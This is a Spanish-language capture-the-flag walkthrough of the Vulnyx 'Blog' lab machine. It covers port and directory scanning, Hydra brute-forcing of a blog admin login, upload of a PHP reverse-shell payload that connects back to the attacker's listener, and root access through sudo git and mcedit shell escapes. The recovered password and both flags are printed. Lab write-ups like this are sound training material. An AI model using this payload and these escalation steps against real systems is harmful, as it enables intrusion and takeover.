Blog Vulnyx (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 03:21 EDT
Nmap scan report for 192.168.5.82
Host is up (0.00060s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
|   256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_  256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:2A:2A:C5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds

Veremos varias cosas interesantes, entre ellas un puerto 80 que suele alojar una pagina web siempre, por lo que si entramos dentro de la misma veremos una pagina en la que realiza un ping y lo vuelca en la propia pagina con esto tambien vemos un dominio llamado blog.nyx por lo que vamos añadirlo a nuestro archivo hosts, esto puede ser interesante, pero nada fuera de lo normal, vamos a realizar un poco de fuzzing a ver que vemos.

nano /etc/hosts

#Dentro del nano

<IP>            blog.nyx

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.82/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 271]
/my_weblog            (Status: 200) [Size: 4303]
/.html                (Status: 403) [Size: 277]
/.php                 (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
Progress: 430192 / 882244 (48.76%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 430757 / 882244 (48.83%)
===============================================================
Finished
===============================================================

Veremos un apartado llamado /my_weblog vamos a meternos dentro a ver si vemos algo interesante.

URL = http://blog.nyx/my_weblog

Veremos como una especie de blog tipo wordpress pero que no es wordpress, vamos a realizar un poco de fuzzing a ver que vemos.

gobuster dir -u http://<IP>/my_weblog -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.82/my_weblog
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/content              (Status: 200) [Size: 0]
/themes               (Status: 200) [Size: 0]
/feed.php             (Status: 200) [Size: 993]
/admin                (Status: 200) [Size: 2]
/admin.php            (Status: 200) [Size: 1395]
/.php                 (Status: 403) [Size: 277]
/plugins              (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 4303]
/README               (Status: 200) [Size: 902]
/languages            (Status: 200) [Size: 0]
/LICENSE.txt          (Status: 200) [Size: 35148]
Progress: 49039 / 882244 (5.56%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 49799 / 882244 (5.64%)
===============================================================
Finished
===============================================================

Vemos un apartado llamado admin o admin.php que si entramos a el veremos un login el cual vamos a probar credenciales por defecto, pero sin suerte, vamos a realizar una fuerza bruta a ver si funcionara.

Escalate user www-data

Hydra

hydra -l admin -P <WORDLIST> blog.nyx http-post-form "/my_weblog/admin.php:username=^USER^&password=^PASS^:Incorrect" -F -t 64 -I

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-17 03:45:07
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking http-post-form://192.168.5.82:80/my_weblog/admin.php:username=^USER^&password=^PASS^:Incorrect
[STATUS] 75.00 tries/min, 75 tries in 00:01h, 14344324 to do in 3187:38h, 64 active
[STATUS] 56.00 tries/min, 168 tries in 00:03h, 14344231 to do in 4269:07h, 64 active
[80][http-post-form] host: 192.168.5.82   login: admin   password: kisses
[STATUS] attack finished for 192.168.5.82 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-17 03:50:50

Veremos que hemos obtenido las credenciales de dicho usuario, si nos logueamos con dichas credenciales veremos que funcionan.

Vamos a irnos a un plugin de la pagina llamado My images que dentro en la configuracion veremos que podremos subir una imagen, por lo que vamos a crear un archivo PHP y subirlo a ver si funciona.

shell.php

$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

Ahora le daremos a Brows... seleccionamos la imagen, y le daremos a Save Changue, echo esto haremos lo siguiente:

Vamos a ponernos a la escucha.

nc -lvnp <PORT>

Ahora si nos vamos a la siguiente ruta para cargar todas las imagenes y volvemos a donde tenemos la escucha veremos lo siguiente:

URL = http://blog.nyx/content/private/plugins/my_image/image.php

Donde la escucha:

listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.82] 48434
whoami
www-data

Veremos que ha funcionado por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user admin

Si hacemos sudo -l veremos lo siguiente:

sudo: unable to resolve host blog: No address associated with hostname
Matching Defaults entries for www-data on blog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on blog:
    (admin) NOPASSWD: /usr/bin/git

Veremos que podremos ejecutar el binario git como el usuario admin por lo que haremos lo siguiente:

sudo -u admin git -p help config
!/bin/bash

Info:

admin@blog:/home$ whoami
admin

Vemos que ha funcionado por lo que leeremos la flag del usuario.

user.txt

1385bbd4fcdb68d2cc5d5204f97d4a80

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

sudo: unable to resolve host blog: No address associated with hostname
Matching Defaults entries for admin on blog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User admin may run the following commands on blog:
    (root) NOPASSWD: /usr/bin/mcedit

Veremos que podemos ejecutar el binario mcedit como el usuario root, por lo que vamos a realizar lo siguiente:

sudo /usr/bin/mcedit

Dentro de este entorno grafico, le daremos a Alt+F esto nos llevara a una serie de opciones en la cual elegiremos la llamada File y dentro del desplegable elegiremos User menu..., dentro le daremos a Invoke 'Shell', echo esto veremos lo siguiente:

sudo: unable to resolve host blog: No address associated with hostname
#  /bin/sh /tmp/mc-root/mcusr2U5NB3
# whoami
root

Con esto ya seremos root, por lo que leeremos la flag de root.

r0000000000000000000000000t.txt

6c24e7883470e2c1683df7672576a1f7

Last updated